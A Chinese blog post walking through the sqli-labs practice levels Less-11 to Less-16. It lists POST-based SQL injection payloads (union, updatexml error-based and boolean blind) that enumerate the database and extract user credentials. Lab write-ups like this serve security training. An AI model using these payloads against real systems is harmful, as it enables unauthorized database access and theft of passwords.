news 2026/6/23 14:20:45

sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

Less-11

发现该题为post注入,测试注入点发现为',开始写注入语句,使用burpsuite抓包分析

在数字1处进行sql注入

1' --+

1' order by 2 --+

1' union select 11,22 --+

1' union select 11,database()--+

uname=1' union select 11,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(username,password) from users--+&passwd=1&submit=Submit

PHP源码分析

分析发现,该处为使用post接收两个值,将它拼接为sql语句

Less-12

简单测试,发现闭合为 ") uname=1")--+&passwd=1&submit=Submit

uname=1") union select 11,database()--+&passwd=1&submit=Submit

发现成功,其余步骤跟Less-11一致

Less-13

uname=1') --+&passwd=1&submit=Submit 测试发现此处为')

uname=1') order by 2--+&passwd=1&submit=Submit 测试发现页面无回显

使用报错注入

uname=1') union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select username from users limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1) ,0x7e),1)--+&passwd=1&submit=Submit

Less-14

测试发现此处闭合条件为 " 且为无回显

uname=1" union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

此题目与上题一致,仅为闭合条件不同

Less-15(补充知识看之前文章Less-8)

测试发现无报错信息也无回显,考虑使用盲注,通过使用Less-8一样的方法,不断测试

uname=1' or '1'='1'--+&passwd=1&submit=Submit 测试出闭合条件

uname=1' or '1'='1' order by 2--+&passwd=1&submit=Submit 测试为2列

uname=1' or '1'='1' union select 11,22--+&passwd=1&submit=Submit 接下来开始猜解

uname=1' or '1'='1' and (length(database()))=8--+&passwd=1&submit=Submit 只有8时为正确页面,说明数据库为8位

uname=1' or '1'='1' and (ascii(substr(database(),1,1)))=115--+&passwd=1&submit=Submit 说明数据库名字第一个字母为s

同理可得uname=1' or '1'='1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1, 1)) = 101--+&passwd=1&submit=Submit 猜解表名和列名即可

Less-16

uname=1") or 1=1--+&passwd=1&submit=Submit 此处的闭合条件为")其余步骤与Less-15一致,均使用盲注的方法解决

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/11 0:50:51

LaTeX学习笔记:学术文档排版

LaTeX 学习笔记:学术文档排版 在实际应用中,如果我们仅仅需要完成的是《[[LaTeX学习笔记:文档排版基础]]》中所介绍的那些纯文本排版工作,其实并不一定需要用到 \(\LaTeX\) 这样复杂的排版系统。毕竟,\(\LaTeX\) 的核心…

作者头像 李华
网站建设 2026/6/23 15:11:54

2025年智能降重工具TOP10:从askpaper到aibiiye的精准改写实践

工具名称降重效率专业术语保留适用场景特色功能aibiye⚡⚡⚡⚡⚡⚡⚡⚡⚡高重复率论文急救学术风格优化aicheck⚡⚡⚡⚡⚡⚡⚡⚡⚡紧急降重需求极速处理askpaper⚡⚡⚡⚡⚡⚡⚡⚡精准降重逻辑结构保护秒篇⚡⚡⚡⚡⚡⚡⚡日常降重维护性价比高一、AI降重工具为何成为毕业生的救命…

作者头像 李华
网站建设 2026/6/23 21:10:27

创业者必读书籍排行榜,提高创业成功率你需要看这10本书

本文为大家整理了创业必读的10大经典书籍,都是值得创业者阅读的好书,希望它们能为你带来启发与助益。 1. 《经理人参阅:创业管理学》 这本书为创业者提供了系统的思维框架,让你在企业初创阶段就能构建正确的管理逻辑。无论是资源…

作者头像 李华
网站建设 2026/6/22 23:25:33

整体设计 定稿 之25 重构和改造现有程序结构 之1 (codebuddy)

摘要探讨了系统架构设计中三层架构(表述层、处理层、结果层)与三种管理区域(政治统治区、军事管辖区、经济管制区)的对应关系。核心观点包括:三层架构分别对应不同的管理区域和方式:表述层(政治…

作者头像 李华
网站建设 2026/6/23 7:35:42

springboot图书个性化推荐系统(11482)

有需要的同学,源代码和配套文档领取,加文章最下方的名片哦 一、项目演示 项目演示视频 二、资料介绍 完整源代码(前后端源代码SQL脚本)配套文档(LWPPT开题报告)远程调试控屏包运行 三、技术介绍 Java…

作者头像 李华